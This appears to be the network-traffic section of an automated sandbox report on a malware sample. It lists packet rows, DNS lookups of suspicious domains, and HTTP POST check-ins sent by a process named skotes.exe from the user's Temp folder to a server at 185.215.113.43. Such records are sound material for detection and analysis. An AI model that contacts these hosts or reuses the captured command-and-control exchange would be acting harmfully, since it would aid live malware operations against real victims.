Dec 19, 2024 16:10:50.511934996 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.511985064 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.512043953 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.512098074 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.514633894 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.514683962 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.514724970 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.514769077 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.517263889 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.517312050 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.517383099 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.517425060 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.519808054 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.519860029 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.520026922 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.520070076 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.522315025 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.522371054 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.522386074 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.522427082 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.524765015 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.524817944 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.524919033 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.524957895 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.527192116 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.527328968 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.527340889 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.527375937 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.529611111 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.529660940 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.529726982 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.529774904 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.529824018 CET	49959	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:50.529855967 CET	443	49959	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:50.532062054 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.532123089 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.532160044 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.532210112 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.534435987 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.534490108 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.534492970 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.534543991 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.536763906 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.536814928 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.536886930 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.536931992 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.539083958 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.539132118 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.539144993 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.539189100 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.541474104 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.541532040 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.541542053 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.541583061 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.543888092 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.543936014 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.543984890 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.544028044 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.546238899 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.546292067 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.546338081 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.546399117 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.548573017 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.548631907 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.548635960 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.548685074 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.550981998 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.551078081 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.551117897 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.551117897 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.553438902 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.553488970 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.553627014 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.553670883 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.555777073 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.555841923 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.555885077 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.555932999 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.557545900 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.557600021 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.557651043 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.557697058 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.559303045 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.559350967 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.559371948 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.559413910 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.561109066 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.561172009 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.561203003 CET	80	49960	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:50.561240911 CET	49960	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:50.562998056 CET	80	49960	31.41.244.11	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 16:10:24.215342999 CET	192.168.2.6	1.1.1.1	0x41f2	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:26.739969015 CET	192.168.2.6	1.1.1.1	0x8ad0	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:31.049256086 CET	192.168.2.6	1.1.1.1	0x7b0	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:33.330864906 CET	192.168.2.6	1.1.1.1	0x9198	Standard query (0)	hulkpara.xyz	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:46.862824917 CET	192.168.2.6	1.1.1.1	0xf84a	Standard query (0)	gips620.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:53.045526981 CET	192.168.2.6	1.1.1.1	0x7f9e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:53.046082020 CET	192.168.2.6	1.1.1.1	0x3dab	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 19, 2024 16:10:53.599251032 CET	192.168.2.6	1.1.1.1	0x48c5	Standard query (0)	cheapptaxysu.click	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:59.402683020 CET	192.168.2.6	1.1.1.1	0xeac1	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:59.402757883 CET	192.168.2.6	1.1.1.1	0x488	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 19, 2024 16:11:02.298566103 CET	192.168.2.6	1.1.1.1	0x4231	Standard query (0)	home.fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:02.298623085 CET	192.168.2.6	1.1.1.1	0x2fa7	Standard query (0)	home.fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 16:11:06.950227976 CET	192.168.2.6	1.1.1.1	0x164c	Standard query (0)	home.fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:06.950270891 CET	192.168.2.6	1.1.1.1	0x7933	Standard query (0)	home.fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 16:11:08.033212900 CET	192.168.2.6	1.1.1.1	0xb72c	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:08.033540964 CET	192.168.2.6	1.1.1.1	0x8826	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Dec 19, 2024 16:11:10.580167055 CET	192.168.2.6	1.1.1.1	0x599	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:10.580360889 CET	192.168.2.6	1.1.1.1	0xf74e	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 19, 2024 16:11:10.941987991 CET	192.168.2.6	1.1.1.1	0xfc78	Standard query (0)	cheapptaxysu.click	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:12.457321882 CET	192.168.2.6	1.1.1.1	0xb669	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:12.457643986 CET	192.168.2.6	1.1.1.1	0xefcd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 19, 2024 16:11:12.457958937 CET	192.168.2.6	1.1.1.1	0xa897	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:12.458120108 CET	192.168.2.6	1.1.1.1	0x6834	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 19, 2024 16:11:12.549834967 CET	192.168.2.6	1.1.1.1	0xf9ed	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:12.550141096 CET	192.168.2.6	1.1.1.1	0x20bb	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 19, 2024 16:11:13.228009939 CET	192.168.2.6	1.1.1.1	0x67e9	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:13.228156090 CET	192.168.2.6	1.1.1.1	0xbe16	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Dec 19, 2024 16:11:13.242520094 CET	192.168.2.6	1.1.1.1	0xbf3d	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:13.242726088 CET	192.168.2.6	1.1.1.1	0x2726	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 19, 2024 16:11:13.420161009 CET	192.168.2.6	1.1.1.1	0xe4f3	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:13.420322895 CET	192.168.2.6	1.1.1.1	0xba4a	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Dec 19, 2024 16:11:13.517950058 CET	192.168.2.6	1.1.1.1	0x5643	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:13.518126965 CET	192.168.2.6	1.1.1.1	0x9953	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Dec 19, 2024 16:11:34.781708956 CET	192.168.2.6	1.1.1.1	0x221	Standard query (0)	fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:34.781764030 CET	192.168.2.6	1.1.1.1	0x3273	Standard query (0)	fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 16:11:36.253604889 CET	192.168.2.6	1.1.1.1	0x6bf8	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:38.026761055 CET	192.168.2.6	1.1.1.1	0x62e	Standard query (0)	fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:38.026823997 CET	192.168.2.6	1.1.1.1	0x749a	Standard query (0)	fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 16:11:43.711060047 CET	192.168.2.6	1.1.1.1	0x6722	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:43.711168051 CET	192.168.2.6	1.1.1.1	0xf2e4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 19, 2024 16:11:47.450376987 CET	192.168.2.6	1.1.1.1	0xba85	Standard query (0)	fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:47.450376987 CET	192.168.2.6	1.1.1.1	0x29c5	Standard query (0)	fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 16:11:50.505618095 CET	192.168.2.6	1.1.1.1	0x4b68	Standard query (0)	home.fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:50.505701065 CET	192.168.2.6	1.1.1.1	0x2167	Standard query (0)	home.fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 16:12:02.739222050 CET	192.168.2.6	1.1.1.1	0xaf3b	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 16:09:16.704242945 CET	1.1.1.1	192.168.2.6	0xe076	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:09:16.704242945 CET	1.1.1.1	192.168.2.6	0xe076	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:24.445451021 CET	1.1.1.1	192.168.2.6	0x41f2	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:26.877348900 CET	1.1.1.1	192.168.2.6	0x8ad0	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:26.877348900 CET	1.1.1.1	192.168.2.6	0x8ad0	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:26.877348900 CET	1.1.1.1	192.168.2.6	0x8ad0	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:26.877348900 CET	1.1.1.1	192.168.2.6	0x8ad0	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:31.282423973 CET	1.1.1.1	192.168.2.6	0x7b0	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:33.789284945 CET	1.1.1.1	192.168.2.6	0x9198	No error (0)	hulkpara.xyz		94.130.191.168	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:47.398113966 CET	1.1.1.1	192.168.2.6	0xf84a	No error (0)	gips620.top		95.214.234.11	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:53.182682037 CET	1.1.1.1	192.168.2.6	0x7f9e	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:53.275482893 CET	1.1.1.1	192.168.2.6	0x3dab	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 19, 2024 16:10:53.868946075 CET	1.1.1.1	192.168.2.6	0x48c5	No error (0)	cheapptaxysu.click		172.67.177.88	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:53.868946075 CET	1.1.1.1	192.168.2.6	0x48c5	No error (0)	cheapptaxysu.click		104.21.67.146	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:59.706899881 CET	1.1.1.1	192.168.2.6	0xeac1	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:10:59.706899881 CET	1.1.1.1	192.168.2.6	0xeac1	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:03.314784050 CET	1.1.1.1	192.168.2.6	0x4231	No error (0)	home.fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:07.355668068 CET	1.1.1.1	192.168.2.6	0x164c	No error (0)	home.fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:08.170680046 CET	1.1.1.1	192.168.2.6	0x8826	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:08.170882940 CET	1.1.1.1	192.168.2.6	0xb72c	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:08.498675108 CET	1.1.1.1	192.168.2.6	0xfbdf	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:08.498675108 CET	1.1.1.1	192.168.2.6	0xfbdf	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:08.594163895 CET	1.1.1.1	192.168.2.6	0x4c3a	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:10.812947989 CET	1.1.1.1	192.168.2.6	0xf74e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:10.822688103 CET	1.1.1.1	192.168.2.6	0x599	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:11.239392996 CET	1.1.1.1	192.168.2.6	0xfc78	No error (0)	cheapptaxysu.click		172.67.177.88	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:11.239392996 CET	1.1.1.1	192.168.2.6	0xfc78	No error (0)	cheapptaxysu.click		104.21.67.146	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:12.595005989 CET	1.1.1.1	192.168.2.6	0xa897	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:12.595005989 CET	1.1.1.1	192.168.2.6	0xa897	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:12.595545053 CET	1.1.1.1	192.168.2.6	0xb669	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:12.595545053 CET	1.1.1.1	192.168.2.6	0xb669	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:12.596298933 CET	1.1.1.1	192.168.2.6	0x6834	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 19, 2024 16:11:12.596312046 CET	1.1.1.1	192.168.2.6	0xefcd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 19, 2024 16:11:12.782735109 CET	1.1.1.1	192.168.2.6	0xf9ed	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:12.782735109 CET	1.1.1.1	192.168.2.6	0xf9ed	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:12.787471056 CET	1.1.1.1	192.168.2.6	0x20bb	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 19, 2024 16:11:13.380199909 CET	1.1.1.1	192.168.2.6	0xbf3d	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:13.380279064 CET	1.1.1.1	192.168.2.6	0x2726	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:13.459091902 CET	1.1.1.1	192.168.2.6	0x67e9	No error (0)	sb.scorecardresearch.com		13.249.9.35	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:13.459091902 CET	1.1.1.1	192.168.2.6	0x67e9	No error (0)	sb.scorecardresearch.com		13.249.9.34	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:13.459091902 CET	1.1.1.1	192.168.2.6	0x67e9	No error (0)	sb.scorecardresearch.com		13.249.9.65	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:13.459091902 CET	1.1.1.1	192.168.2.6	0x67e9	No error (0)	sb.scorecardresearch.com		13.249.9.46	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:13.560825109 CET	1.1.1.1	192.168.2.6	0xe4f3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:13.657346010 CET	1.1.1.1	192.168.2.6	0x5643	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:13.657370090 CET	1.1.1.1	192.168.2.6	0x9953	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:13.658586025 CET	1.1.1.1	192.168.2.6	0xba4a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 16:11:35.246232986 CET	1.1.1.1	192.168.2.6	0x221	No error (0)	fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:36.391200066 CET	1.1.1.1	192.168.2.6	0x6bf8	No error (0)	github.com		20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:38.313255072 CET	1.1.1.1	192.168.2.6	0x62e	No error (0)	fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:43.941827059 CET	1.1.1.1	192.168.2.6	0x6722	No error (0)	www.google.com		142.251.37.196	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:43.948601961 CET	1.1.1.1	192.168.2.6	0xf2e4	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 19, 2024 16:11:47.589252949 CET	1.1.1.1	192.168.2.6	0xba85	No error (0)	fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:11:51.396151066 CET	1.1.1.1	192.168.2.6	0x4b68	No error (0)	home.fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:12:03.030446053 CET	1.1.1.1	192.168.2.6	0xaf3b	No error (0)	aspecteirs.lat		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 19, 2024 16:12:03.030446053 CET	1.1.1.1	192.168.2.6	0xaf3b	No error (0)	aspecteirs.lat		188.114.97.6	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49832	185.215.113.43	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:06.765789032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 16:10:08.108326912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49838	185.215.113.43	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:09.847774029 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 16:10:11.229331970 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:10:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 33 31 0d 0a 20 3c 63 3e 31 30 31 37 36 36 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 65 63 37 31 30 31 34 65 38 30 31 62 33 31 39 31 34 30 33 37 62 62 36 38 35 63 30 31 63 65 35 61 65 39 61 35 35 33 36 65 36 23 31 30 31 37 36 37 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 63 37 36 39 31 34 61 34 39 62 61 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 37 36 38 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 61 32 64 63 62 31 32 31 65 65 37 30 36 62 31 31 64 31 35 30 33 35 32 39 39 38 62 62 34 30 38 62 38 39 64 39 61 35 35 33 36 65 36 23 31 30 31 37 36 38 32 30 30 [TRUNCATED] Data Ascii: 631 